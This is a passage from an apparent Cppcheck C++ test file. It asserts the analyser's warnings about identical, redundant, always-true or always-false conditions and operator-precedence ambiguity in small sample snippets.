this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = 